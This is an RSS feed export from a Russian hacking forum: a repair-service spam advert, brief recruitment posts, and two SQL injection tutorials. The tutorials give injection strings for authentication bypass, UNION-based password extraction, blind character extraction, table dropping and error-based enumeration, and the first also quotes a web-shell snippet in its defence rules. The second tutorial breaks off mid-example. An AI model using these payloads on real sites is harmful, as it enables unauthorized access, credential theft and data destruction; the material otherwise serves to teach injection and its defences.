<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://xhackx.bbon.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Программирование....</title>
		<link>http://xhackx.bbon.ru/</link>
		<description>Программирование....</description>
		<language>ru-ru</language>
		<lastBuildDate>Fri, 17 Mar 2023 14:29:44 +0300</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Ремонт компьютеров,ноутбуков по России</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=80#p80</link>
			<description>&lt;p&gt;Компьютеры, ноутбуки - техника современная и не застрахована от поломок. К такому типу техники нужен своевременный и комплексный подход, который могут обеспечить наши компетентные мастера. Самостоятельно починить компьютер сможет 5 человек из 100, а поломки происходят у каждого второго! Мы предоставляем услуги высокого качества по ремонту и исправлению проблем компьютерной техники более чем в 60 городах по РФ. Так же наши филиалы представлены в Республике Беларусь. Заявки обрабатываются нашими сотрудниками и не перепродаются в сторонние компании. Перейти:&amp;#160; &lt;a href=&quot;https://rempc-v-mo.ru/?t=33705&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https://rempc-v-mo.ru/?t=33705&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (zahswtkjpd)</author>
			<pubDate>Fri, 17 Mar 2023 14:29:44 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=80#p80</guid>
		</item>
		<item>
			<title>Рустем</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=79#p79</link>
			<description>&lt;p&gt;возьмите меня администратором&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Рустем)</author>
			<pubDate>Wed, 30 Mar 2011 04:46:32 +0400</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=79#p79</guid>
		</item>
		<item>
			<title>Хакеры МИРА!</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=45#p45</link>
			<description>&lt;p&gt;ВОТ!!!&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Sat, 25 Apr 2009 09:26:39 +0400</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=45#p45</guid>
		</item>
		<item>
			<title>НАБОР!!!</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=38#p38</link>
			<description>&lt;p&gt;НАБОР!!!НАБОР!!!НАБОР!!!НАБОР!!!НАБОР!!!НАБОР!!!НАБОР!!!&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Sat, 14 Mar 2009 11:35:18 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=38#p38</guid>
		</item>
		<item>
			<title>НАБОР!!!</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=37#p37</link>
			<description>&lt;p&gt;НАБИРАЕМ ЛЮДЕЙ В АДМИНИСТРАЦИЮ САЙТА.....&lt;br /&gt;РАНГ ЗАВИСИТ ОТ УРОВНЯ ЗНАНИЯ КОМПЬЮТЕРА....&lt;br /&gt;ПРЕДЛОЖЕНИЯ ПИСАТЬ ТУТ...&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Sat, 14 Mar 2009 08:49:23 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=37#p37</guid>
		</item>
		<item>
			<title>Атака на БД</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=36#p36</link>
			<description>&lt;p&gt;то может сделать взломщик используя SQL injection&lt;/p&gt;
						&lt;p&gt;С каждым днем все больше скриптов используют базы данных, все больше хостингов доверяют пароли своих клиентов SQL-базам, все больше популярных сайтов переходит на публичные форумы и движки, работающие с MySQL. Но далеко не все ясно представляют себе, насколько опасным может быть непродуманное использование MySQL в скриптах.&lt;/p&gt;
						&lt;p&gt;Как это есть?&lt;/p&gt;
						&lt;p&gt;Без знаний основ языка SQL трудно что-либо понять. Прежде всего разберемся, в чем заключается суть атаки типа SQL injection. К примеру, на атакуемом сервере стоит следующий PHP-скрипт, который на основе поля category_id делает выборку заголовков статей из таблицы articles и выводит их пользователю:&lt;/p&gt;
						&lt;p&gt;//подключаемся к MySQL&lt;/p&gt;
						&lt;p&gt;mysql_connect($dbhost, $dbuname, $dbpass) or die(mysql_error());&lt;/p&gt;
						&lt;p&gt;mysql_select_db($dbname) or die(mysql_error());&lt;/p&gt;
						&lt;p&gt;$cid=$_GET[&amp;quot;cid&amp;quot;];&lt;/p&gt;
						&lt;p&gt;$result=mysql_query(&amp;quot;SELECT article_id, article_title FROM articles where category_id=$cid&amp;quot;); // &amp;lt;- уязвимый запрос&lt;/p&gt;
						&lt;p&gt;while( $out = mysql_fetch_array( $result)):&lt;/p&gt;
						&lt;p&gt;echo &amp;quot;Статья: &amp;quot;.$out[&#039;article_id&#039;].&amp;quot; &amp;quot;.$out[&#039;article_title&#039;].&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;/p&gt;
						&lt;p&gt;endwhile;&lt;/p&gt;
						&lt;p&gt;//выводим результат в виде списка&lt;/p&gt;
						&lt;p&gt;В переводе с языка MySQL запрос звучит так: &amp;quot;ВЫБРАТЬ ид_статей, заголовки_статей ИЗ таблицы_статей ГДЕ ид_категории равно $cid&amp;quot;. На первый взгляд все верно, по ссылке типа &lt;a href=&quot;http://serv.com/read.php?cid=3&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=3&lt;/a&gt; скрипт работает нормально и выводит пользователю список статей, принадлежащих категории 3.&lt;/p&gt;
						&lt;p&gt;Но что если пользователь - никакой не пользователь, а обыкновенный хакер? Тогда он сделает запрос &lt;a href=&quot;http://serv.com/read.php?cid=3&#039;&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=3&#039;&lt;/a&gt; (именно с кавычкой) и получит что-то вроде: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs/read.php on line 14.&lt;/p&gt;
						&lt;p&gt;Почему ошибка? Посмотрим, что запросил PHP у MySQL. Переменная $cid равна 1&#039;, тогда запрос принимает неверный с точки зрения MySQL вид: SELECT article_id, article_title FROM articles where category_id=1&#039;. При синтаксической ошибке в запросе MySQL отвечает строкой &amp;quot;ERROR 1064: You have an error in your SQL syntax...&amp;quot;. PHP не может распознать этот ответ и сообщает об ошибке, на основе которой хакер может судить о присутствии уязвимости типа SQL Injection. Очевидно, что злоумышленник получит возможность задавать переменной $cid любые значения ($cid=$_GET[cid]) и, следовательно, модифицировать запрос к MySQL. Например, если $cid будет равна &amp;quot;1 OR 1&amp;quot; (без кавычек в начале и в конце), то MySQL выдаст все записи, независимо от category_id, так как запрос будет иметь вид (..) where category_id=1 OR 1. То есть либо category_id = 1 (подойдут лишь записи с category_id, равными 1), либо 1 (подойдут все записи, так как число больше нуля - всегда истина).&lt;/p&gt;
						&lt;p&gt;Только что описанные действия как раз и называются SQL Injection - иньекция SQL-кода в запрос скрипта к MySQL. С помощью SQL Injection злоумышленник может получить доступ к тем данным, к которым имеет доступ уязвимый скрипт: пароли к закрытой части сайта, информация о кредитных картах, пароль к админке и т.д. Хакер при удачном для него стечении обстоятельств получит возможность выполнять команды на сервере.&lt;/p&gt;
						&lt;p&gt;Как атакуют?&lt;/p&gt;
						&lt;p&gt;Классический пример уязвимости типа SQL Injection - следующий запрос: SELECT * FROM admins WHERE login=&#039;$login&#039; AND password=MD5(&#039;$password&#039;).&lt;/p&gt;
						&lt;p&gt;Допустим, он будет проверять подлинность введенных реквизитов для входа в админскую часть какого-нибудь форума. Переменные $login и $password являются логином и паролем соответственно, и пользователь вводит их в HTML-форму. PHP посылает рассматриваемый запрос и проверяет: если количество возвращенных от MySQL записей больше нуля, то админ с такими реквизитами существует, а пользователь авторизуется, если иначе (таких записей нет и логин/пароль неверные) - пользователя направят на fsb.ru.&lt;/p&gt;
						&lt;p&gt;Как взломщик использует SQL Injection в этом случае? Все элементарно. Злоумышленнику требуется, чтобы MySQL вернул PHP-скрипту хотя бы одну запись. Значит, необходимо модифицировать запрос так, чтобы выбирались все записи таблицы независимо от правильности введенных реквизитов. Вспоминаем фишку с &amp;quot;OR 1&amp;quot;. Кроме того, в MySQL, как и в любом языке, существуют комментарии. Комментарии обозначаются либо --комментарий (комментарий в конце строки), либо /*комментарий*/ (комментарий где угодно). Причем если второй тип комментария стоит в конце строки, закрывающий знак &#039;*/&#039; необязателен. Итак, взломщик введет в качестве логина строку anyword&#039; OR 1/*, а в качестве пароля - anyword2. Тогда запрос принимает такой вид: SELECT * FROM admins WHERE login=&#039;anyword&#039; OR 1/* AND password=MD5(&#039;anyword2&#039;). А в переводе на человеческий язык: ВЫБРАТЬ все ИЗ таблицы_admins ГДЕ логин равен &#039;anyword&#039; ИЛИ 1, а остальное воспринимается как комментарий, что позволяет отсечь ненужную часть запроса. В результате MySQL вернет все записи из таблицы admins даже независимо от того, существует админ с логином anyword или нет, и скрипт пропустит хакера в админку. Такая уязвимость была обнаружена, например, в Advanced Guestbook. Она позволяла войти в администраторскую часть не зная пароля и внутри нее читать файлы. Но SQL Injection этого типа обычно не позволяют злоумышленнику получить данные из таблицы.&lt;/p&gt;
						&lt;p&gt;Union и MySQL версии 4&lt;/p&gt;
						&lt;p&gt;Вернемся к скрипту получения заголовков статей. На самом деле он позволяет взломщику получить гораздо больше, чем список всех статей. Дело в том, что в MySQL версии 4 добавлен новый оператор - UNION, который используется для объединения результатов работы нескольких команд SELECT в один набор результатов. Например: SELECT article_id, article_title FROM articles UNION SELECT id, title FROM polls. В результате MySQL возвращает N записей, где N - количество записей из результата запроса слева плюс количество записей из результата запроса справа. И все это в том порядке, в каком идут запросы, отделяемые UNION.&lt;/p&gt;
						&lt;p&gt;Но существуют некоторые ограничения по использованию UNION:&lt;/p&gt;
						&lt;p&gt;1. число указываемых столбцов во всех запросах должно быть одинаковым: недопутимо, чтобы первый запрос выбирал, например, id, name, title, а второй только article_title;&lt;/p&gt;
						&lt;p&gt;2. типы указываемых столбцов одного запроса должны соответствовать типам указываемых столбцов остальных запросов: если в одном запросе выбираются столбцы типа INT, TEXT, TEXT, TINYTEXT, то и в остальных запросах должны выбираться столбцы такого же типа и в таком же порядке;&lt;/p&gt;
						&lt;p&gt;3. UNION не может идти после операторов LIMIT и ORDER.&lt;/p&gt;
						&lt;p&gt;Так как же UNION может стать пособником злоумышленника? В нашем скрипте присутствует запрос &amp;quot;SELECT article_id, article_title FROM articles where category_id=$cid&amp;quot;. Что мешает хакеру, используя SQL injection, вставить еще один SELECT-запрос и выбрать нужные ему данные? Правильно: ничего!&lt;/p&gt;
						&lt;p&gt;Допустим, цель хакера - получить логины и пароли всех авторов, которые могут добавлять статьи. Есть скрипт чтения списка статей &lt;a href=&quot;http://serv.com/read.php?cid=1,&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1,&lt;/a&gt; подверженный SQL injection. Первым делом хакер узнает версию MySQL, с которой работает скрипт. Для этого он сделает следующий запрос: &lt;a href=&quot;http://serv.com/read.php?cid=1+/*!40000+AND+0*/.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1+/*!40000+AND+0*/.&lt;/a&gt; Если скрипт вернет пустую страницу, значит, версия MySQL &amp;gt;= 4. Почему именно так? Число 40000 - версия MySQL, записанная без точек. Если версия, которая стоит на сервере, больше или равна этому числу, то заключенный в /**/ код выполнится как часть запроса. В результате ни одна запись не подойдет под запрос и скрипт не вернет ничего. Зная версию MySQL, хакер сделает вывод о том, сработает фишка с UNION или нет. В случае если MySQL третьей версии, фишка работать не будет. В нашем случае MySQL &amp;gt;= 4 и злоумышленник все-таки воспользуется UNION.&lt;/p&gt;
						&lt;p&gt;Для начала взломщик составит верный UNION-запрос, то есть подберет действительное количество указываемых столбцов, которое бы совпало с количеством указываемых столбцов левого запроса (вспоминай правила работы с UNION). Хакер не имеет в распоряжении исходников скрипта (если, конечно, скрипт не публичный) и поэтому не знает, какой именно запрос шлет скрипт к MySQL. Придется подбирать вручную - модифицировать запрос вот таким образом: &lt;a href=&quot;http://serv.com/read.php?cid=1+UNION+SELECT+1.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1+UNION+SELECT+1.&lt;/a&gt; И тут о своем присутствии объявит ошибка, так как количество запрашиваемых столбцов не совпадает. Хакер увеличивает количество столбцов еще на единицу: &lt;a href=&quot;http://serv.com/read.php?cid=1+UNION+SELECT+1,2&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1+UNION+SELECT+1,2&lt;/a&gt; - получает список статей из категории 1, а также в самом конце две цифры: 1 и 2. Следовательно, он верно подобрал запрос.&lt;/p&gt;
						&lt;p&gt;Посмотрим на модифицированный запрос от PHP к MySQL: SELECT article_id, article_title FROM articles where category_id=1 UNION SELECT 1,2. В ответ MySQL возвращает результат первого SELECT (список статей) и результат второго SELECT - число &amp;quot;1&amp;quot; в первом столбце и &amp;quot;2&amp;quot; во втором столбце (SELECT+1,2). Другими словами, теперь, подставляя вместо &#039;1&#039; и &#039;2&#039; реальные имена столбцов из любой таблицы, можно будет заполучить их значения.&lt;/p&gt;
						&lt;p&gt;Составив верный SELECT+UNION запрос, хакер постарается подобрать название таблицы с нужными ему данными. Например, таблица с данными пользователей будет, скорее всего, называться users, Users, accounts, members, admins, а таблица с данными о кредитных картах - cc, orders, customers, orderlog и т.д. Для этого злоумышленник сделает следующий запрос: &lt;a href=&quot;http://serv.com/read.php?cid=1+UNION+SELECT+1,2+FROM+users.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1+UNION+SE &amp;#8230; ROM+users.&lt;/a&gt; И если таблица users существует, то PHP-скрипт выполнится без ошибок и выведет список статей плюс &#039;1 2&#039;, иначе - выдаст ошибку. Так можно подбирать имена таблиц до тех пор, пока не будет найдена нужная.&lt;/p&gt;
						&lt;p&gt;В нашем случае &amp;quot;нужная&amp;quot; таблица – это authors, в которой хранятся данные об авторе: имя автора, его логин и пароль. Теперь задача хакера - подобрать правильные имена столбцов с нужными ему данными, чаще всего с логином и паролем. Имена столбцов он станет подбирать по аналогии с именем таблицы, то есть для логина столбец, скорее всего, будет называться login или username, а для пароля - password, passw и т.д. Запрос будет выглядеть так: &lt;a href=&quot;http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1+UNION+SE &amp;#8230; m+authors.&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Почему хакер не стал вставлять имя столбца вместо единицы? Ему нужна текстовая информация (логин, пароль), а в нашем случае в левом запросе SELECT на первом месте идет article_id, имеющий тип INT. Следовательно, в правом запросе хакер не может ставить на первое место имя столбца с текстовой информацией (правила UNION).&lt;/p&gt;
						&lt;p&gt;Итак, выполнив запрос &lt;a href=&quot;http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors,&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://serv.com/read.php?cid=1+UNION+SE &amp;#8230; m+authors,&lt;/a&gt; взломщик находит список логинов всех авторов, а подставив поле password - список паролей. И получает желанные логины и пароли авторов, а админ сервера – подмоченную репутацию. Но это только в нашем примере Фортуна улыбнулась злоумышленнику так широко: он быстро подобрал количество столбцов, а в реальной жизни количество столбцов может достигать 30-40.&lt;/p&gt;
						&lt;p&gt;UNION и нюансы&lt;/p&gt;
						&lt;p&gt;Теперь рассмотрим некоторые ситуации, в которых использование UNION затруднено по тем или иным причинам.&lt;/p&gt;
						&lt;p&gt;Ситуация 1&lt;/p&gt;
						&lt;p&gt;Левый запрос возвращает лишь числовое значение. Что-то вроде SELECT code FROM artciles WHERE id = $id. Что будет делать хакер? Средства MySQL позволяют проводить различные действия над строками, к примеру, выделение подстроки, склеивание нескольких строк в одну, перевод из CHAR в INT и т.п. Благодаря этим функциям хакер имеет возможность выудить интересующую его информацию по одному символу. К примеру, требуется достать пароль из таблицы admins, используя приведенный выше запрос. Чтобы получить ASCII-код первого символа пароля, сделаем следующий запрос к скрипту: &lt;a href=&quot;http://127.0.0.1/read.php?cid=1+union+select+ASCII&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://127.0.0.1/read.php?cid=1+union+select+ASCII&lt;/a&gt;(SUBSTRING(password,1,1))+from+admins. Функция SUBSTRING(name,$a,$b) в MySQL выделяет $b символов из значения столбца name начиная с символа под номером $a. Функция ASCII($x) возвращает ASCII-код символа $x. Для получения последующих символов следует просто менять второй параметр функции SUBSTRING до тех пор, пока ответом не будет 0. Подобный способ был использован в эксплойте для одной из версий phpBB.&lt;/p&gt;
						&lt;p&gt;Ситуация 2&lt;/p&gt;
						&lt;p&gt;SQL Injection находится в середине SQL-запроса. Например: SELECT code FROM artciles WHERE id = $id AND blah=&#039;NO&#039; AND active=&#039;Y&#039; LIMIT 10. Для правильной эксплуатации хакер просто откомментирует идущий следом за Injection код, то есть к вставляемому коду добавит /* или --. Пробелы в запросе взломщик может заменить на /**/, что полезно в случае если скрипт фильтрует пробелы.&lt;/p&gt;
						&lt;p&gt;Ситуация 3&lt;/p&gt;
						&lt;p&gt;Случается и такое, что в PHP-коде подряд идет несколько SQL-запросов, подверженных Injection. И все они используют переменную, в которую злоумышленник вставляет SQL-код. Например (опускаю PHP):&lt;/p&gt;
						&lt;p&gt;$result=mysql_query(&amp;quot;SELECT article_id, article_title FROM articles where category_id=$cid&amp;quot;);&lt;/p&gt;
						&lt;p&gt;//php code here&lt;/p&gt;
						&lt;p&gt;$result=mysql_query(&amp;quot;SELECT article_name FROM articles where category_id=$cid&amp;quot;);&lt;/p&gt;
						&lt;p&gt;//тут вывод результата&lt;/p&gt;
						&lt;p&gt;Это довольно неприятно для хакера, так как для первого запроса SQL Injection пройдет нормально, а для второго UNION - уже нет, так как количество запрашиваемых столбцов отличается. И если программист, писавший код, предусмотрел остановку скрипта в случае ошибки типа &amp;quot;... or die(&amp;quot;Database error!&amp;quot;)&amp;quot;, то эксплуатация обычными методами невозможна, так как скрипт остановится раньше, чем будет выведет результат.&lt;/p&gt;
						&lt;p&gt;Ситуация 4&lt;/p&gt;
						&lt;p&gt;Скрипт выводит не весь результат запроса, а, например, только первую запись. И если хакер будет прямо пользоваться UNION, то скрипт выдаст только первую запись из ответа MySQL, а остальное отбросит, в том числе результат SQL Injection. Для того чтоб преодолеть все препятствия и на этом этапе, хакер передаст левому запросу такой параметр для WHERE, чтобы в ответ на него MySQL не вернул ни одной записи.&lt;/p&gt;
						&lt;p&gt;Например, есть такой запрос: SELECT name FROM authors WHERE id=$id. После SQL Injection он будет выглядеть следующим образом: (..) id=1 UNION SELECT password FROM authors. Но PHP-скрипт выведет только первую запись, поэтому вставляемый код следует модифицировать: (..) id=-12345 UNION SELECT (..). Теперь в ответ на левый запрос MySQL не вернет ничего, а в ответ на правый - желанные для хакера данные.&lt;/p&gt;
						&lt;p&gt;Ситуация 5&lt;/p&gt;
						&lt;p&gt;Скрипт не выводит результат запроса. Например, есть скрипт, который выводит какие-либо статистические данные, например, количество авторов, принадлежащих к определенной группе. Причем количество записей он считает не с помощью MySQL-функции COUNT, а в самом скрипте. Скрипт шлет MySQL такой запрос: SELECT id FROM authors where category_id=$cid.&lt;/p&gt;
						&lt;p&gt;Допустим, скрипт возвращает что-то вроде &amp;quot;Найдено десять авторов в данной категории&amp;quot;. В этом случае злоумышленник будет эксплуатировать SQL injection, конечно же, методом перебора символов! Например, хакеру надо получить пароль автора с id = 1, для чего потребуется перебирать каждый символ пароля. Но как получить символ, если PHP не выводит ничего из того, что возвратил MySQL?&lt;/p&gt;
						&lt;p&gt;Рассмотрим такой запрос: SELECT id FROM authors where category_id=-1 UNION SELECT 1,2 FROM authors WHERE id=1 AND ASCII(SUBSTRING(password,1,1))&amp;gt;109. Результатом запроса будет одна запись, если ASCII-код первого символа пароля больше 109, и ноль записей, если больше, либо равна. Итак, методом бинарного поиска нетрудно найти нужный символ. Почему хакер использует знаки &amp;quot;больше/меньше&amp;quot;, а не &amp;quot;равно&amp;quot;? Если взломщику надо получить 32-символьный хэш пароля, ему придется делать примерно 32*25 запросов! Метод бинарного поиска позволяет сократить это число в два раза. Само собой, делать запросы хакер будет уже не руками, а с помощью скрипта, автоматизирующего перебор.&lt;/p&gt;
						&lt;p&gt;MySQL версии 3&lt;/p&gt;
						&lt;p&gt;Несмотря на отсутствие в третьей версии оператора UNION, и из нее хакер сможет вытащить то, чем интересуется. В осуществлении этого замысла помогут подзапросы и перебор символов, но описание этого метода займет еще пару листов (которых мне не дали). Поэтому ищи статьи на эту тему на wwwrst.void.ru (автор 1dt.w0lf) и wwwsecuritylab.ru (автор Phoenix).&lt;/p&gt;
						&lt;p&gt;Как защищаться?&lt;/p&gt;
						&lt;p&gt;Правило №1. Фильтруй входные данные. Кавычку заменяй на слеш-кавычку(\&#039;), слеш - на слеш-слеш. В PHP это делается или включением magic_quotes_gpc в php.ini, или функцией addslashes(). В Perl: $id=~s/([&#039;\\])/\\$1/g;. И на всякий случай: $id=~s/[a-zA-z]//g; - для числовых параметров.&lt;/p&gt;
						&lt;p&gt;Правило №2. Не дай кому не надо внедрить SQL-код! Заключай в кавычки все переменные в запросе. Например, SELECT * FROM users WHERE id=&#039;$id&#039;.&lt;/p&gt;
						&lt;p&gt;Правило №3. Отключи вывод сообщений об ошибках. Некоторые программисты, наоборот, делают так, что при ошибке скрипт выводит сообщение самого MySQL, или, еще ужасней, - ВЕСЬ SQL-запрос. Это предоставляет злодею дополнительную информацию о структуре базы и существенно облегчает эксплуатацию.&lt;/p&gt;
						&lt;p&gt;Правило №4. Никогда не разрешай скриптам работать с MySQL от root. Ничего хорошего не выйдет, если хакер получит доступ ко всей базе.&lt;/p&gt;
						&lt;p&gt;Правило №5. Запускай публичные скрипты от отдельного пользователя с отдельной базой. Неприятно будет, если какой-нибудь кидди, воспользовавшись 0day-дырой в форуме, получит доступ к базе с СС твоих клиентов.&lt;/p&gt;
						&lt;p&gt;Правило №6. Отключи MySQL-пользователю привилегию FILE - не дай хакеру записать в файл что-то вроде &amp;lt;?system($_GET[cmd])?&amp;gt; через MySQL.&lt;/p&gt;
						&lt;p&gt;Правило №7. Не называй таблицы и базы данных в соответствии с их назначением, чтоб утаить от чужих глаз настоящие названия. В публичных скриптах часто предоставляют возможность установить prefix для названия таблиц - устанавливай самый сложный. Если кто-нибудь и найдет SQL injection, то не сможет ее эксплуатировать.&lt;/p&gt;
						&lt;p&gt;Чаще всего уязвимости оставляют в тех запросах, параметры которых передаются через hidden формы в HTML и через cookies, видимо, из-за того, что они не видны пользователю и не так привлекают внимание злодеев.&lt;/p&gt;
						&lt;p&gt;Часто забывают про SQL Injection в функции Reply, о поиске сообщений пользователя в форумах, в репортах различных сервисов. В 80% WAP-сервисов SQL injection находят по десять штук в каждом скрипте (наверное, админы думают, что туда только через сотовые ходят). На самом деле многие недооценивают SQL Injection. Известен случай, когда обычная SQL injection в скрипте репорта привела к реальному руту на трех серверах и дампу гиговой базы. А всего-то SQL Injection…&lt;/p&gt;
						&lt;p&gt;Статьи по теме&lt;/p&gt;
						&lt;p&gt;inattack.ru/group_article/34.html&lt;br /&gt;wwwrst.void.ru/papers/sql-inj.txt&lt;br /&gt;wwwsecuritylab.ru/49424.html&lt;br /&gt;wwwsecuritylab.ru/49660.html&lt;/p&gt;
						&lt;p&gt;Все чаще администраторы получают возможности убедиться в том, что знания по безопасности запросов к MySQL не менее важны, чем эффективное использование этих запросов.&lt;/p&gt;
						&lt;p&gt;Защитить свою базу от хакеров можно – нужно только грамотно следовать определенным правилам по нейтрализации подобных атак.&lt;/p&gt;
						&lt;p&gt;С помощью UNION хакер может легко узнать пользователя, базу данных и версию MySQL, для чего используются функции user(), database() и version() соответственно. Взломщик просто сделает запрос типа SELECT user().&lt;/p&gt;
						&lt;p&gt;Даже если в обороне есть брешь, можно дезинформировать противника присваивая переменным нелогичные названия. Тогда их будет просто невозможно подобрать.&lt;/p&gt;
						&lt;p&gt;Чем ты больше знаешь о том, как ломают, тем проще предотвратить взлом.&lt;/p&gt;
						&lt;p&gt;Регулярно просматривай новостные сайты по безопасности, чтобы быть в курсе вновь изобретенных способов взлома и не допускать утечек ценной информации.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 16:31:25 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=36#p36</guid>
		</item>
		<item>
			<title>Взлом SQL</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=35#p35</link>
			<description>&lt;p&gt;Взято с &lt;a href=&quot;http://copol.narod.ru&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://copol.narod.ru&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Объектом нашего внимания станут базы данных SQL которые активно используются для организации работы сложных Web приложений. Нашим заданием станет манипулирование SQL запросом. Вот небольшой пример...&lt;br /&gt;Вы зашли на сайт, где требуется авторизация. Все, что от вас требуется это ввести правильный логин и пас. Но что делать, если таковых в наличии не имеется? Ту вступает в силу такой раздел, как SQL Injection. Допустим введенные данные проверяются таким SQL запросом:&lt;/p&gt;
						&lt;p&gt;$result=mysql_db_query($db,&amp;quot;SELECT * FROM $table WHERE user=&#039;$login&#039; AND &lt;br /&gt;pass=&#039;$password&#039;&amp;quot;); &lt;/p&gt;
						&lt;p&gt;$num_rows=mysql_num_rows($result); &lt;/p&gt;
						&lt;p&gt;mysql_close($link); &lt;/p&gt;
						&lt;p&gt;if ($num_rows!=0) &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;{ // AUTHENTICATION OK } &lt;br /&gt;else &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;{ // AUTHENTICATION ERROR } &lt;/p&gt;
						&lt;p&gt;(пример взят с пятого уровня NGSec Game)&lt;/p&gt;
						&lt;p&gt;Когда мы вводим данные то наш SQL запрос будет иметь такой вид:&lt;/p&gt;
						&lt;p&gt;SELECT * FROM users WHERE user=&#039;admin&#039; AND pass=&#039;admin&#039; &lt;/p&gt;
						&lt;p&gt;Где &amp;quot;admin&amp;quot; введенный логин, а &amp;quot;admin&amp;quot; пароль. Как вы думаете что произойдет, если ввести имя пользователя например &amp;quot;adm&#039;in&amp;quot;. Давайте посмотрим какой запрос получится на этот раз...&lt;/p&gt;
						&lt;p&gt;SELECT * FROM users WHERE user=&#039;adm&#039;in&#039; AND pass=&#039;admin&#039; &lt;/p&gt;
						&lt;p&gt;На этот раз мы получим сообщение об ошибке, что-то вроде этого &lt;/p&gt;
						&lt;p&gt;Server: Msg 170, Level &lt;/p&gt;
						&lt;p&gt;15, State 1, Line 1 &lt;br /&gt;Line 1: Incorrect syntax near &#039;in&#039;. &lt;/p&gt;
						&lt;p&gt;Значит все ок, данный скрпт не проверяет входные данные. А теперь немного логики и мы имеем такое условие:&lt;/p&gt;
						&lt;p&gt;if ((true=false) or (true=true)) then .. &lt;/p&gt;
						&lt;p&gt;Это условие будет всегда &lt;/p&gt;
						&lt;p&gt;верным. А что если в запросе место логина ввести такую шнягу &amp;quot;admin&#039; or &#039; &#039;=&#039; &#039;- &lt;/p&gt;
						&lt;p&gt;-&amp;quot;, где &amp;quot;--&amp;quot; означает конец запроса? Получится вот что: &lt;/p&gt;
						&lt;p&gt;SELECT * FROM &lt;/p&gt;
						&lt;p&gt;users WHERE user=&#039;admin&#039; or &#039; &#039;=&#039; &#039;--AND pass=&#039;admin&#039; &lt;/p&gt;
						&lt;p&gt;Oh no! Мы вошли не зная ни пароля, ни логина :). Прикол в том что вот какой запрос у нас вышел: если логин admin есть в базе данных или пробел равен пробелу, тогда авторизация прошла успешно, ни о каком пароле речь не идет, так как на этом запрос считается оконченным :)&lt;/p&gt;
						&lt;p&gt;Надеюсь все понятно? А теперь немного дикой практики... Если ввести логин &amp;quot;admin&#039;; drop table $table--&amp;quot; то мы удалим базу данных. Но все не так просто. А если ее название хранится в ругой переменной или прописано в самом коде, что тогда? Надо узнать имя БД... Чтобы продолжить будем анализировать ODBC сообщения об ошибках, приступим... Введем логин &amp;quot; &#039; having 1=1--&amp;quot; на что сервер обругается где-то так:&lt;/p&gt;
						&lt;p&gt;Microsoft OLE DB Provider for ODBC Drivers error &#039;80040e14&#039; &lt;br /&gt;[Microsoft][ODBC &lt;/p&gt;
						&lt;p&gt;SQL Server Driver][SQL Server] &lt;br /&gt;Column &#039;users.status&#039; is invalid in the &lt;/p&gt;
						&lt;p&gt;select list because it is not contained &lt;br /&gt;in an aggregate function and there &lt;/p&gt;
						&lt;p&gt;is no GROUP BY clause. &lt;/p&gt;
						&lt;p&gt;Теперь нам известно, что имя базы данных &amp;quot;users&amp;quot;, а первая колонка называется &amp;quot;status&amp;quot;. Неплохо, тоесть снести все нахрен мы уже сможем :), но давайте попробуем добавить себя в базу данных, чтобы потом не парится. Но чтобы себя добавить нам надо знать количество и название полей. Давайте введем такое чудо:&lt;/p&gt;
						&lt;p&gt;&amp;quot; &#039; group by users.id having &lt;/p&gt;
						&lt;p&gt;1=1--&amp;quot;&lt;/p&gt;
						&lt;p&gt;Получим вот что:&lt;/p&gt;
						&lt;p&gt;Column &#039;users.username&#039; is invalid in the select list because it is not contained in &lt;/p&gt;
						&lt;p&gt;either an aggregate function or the GROUP BY clause. &lt;/p&gt;
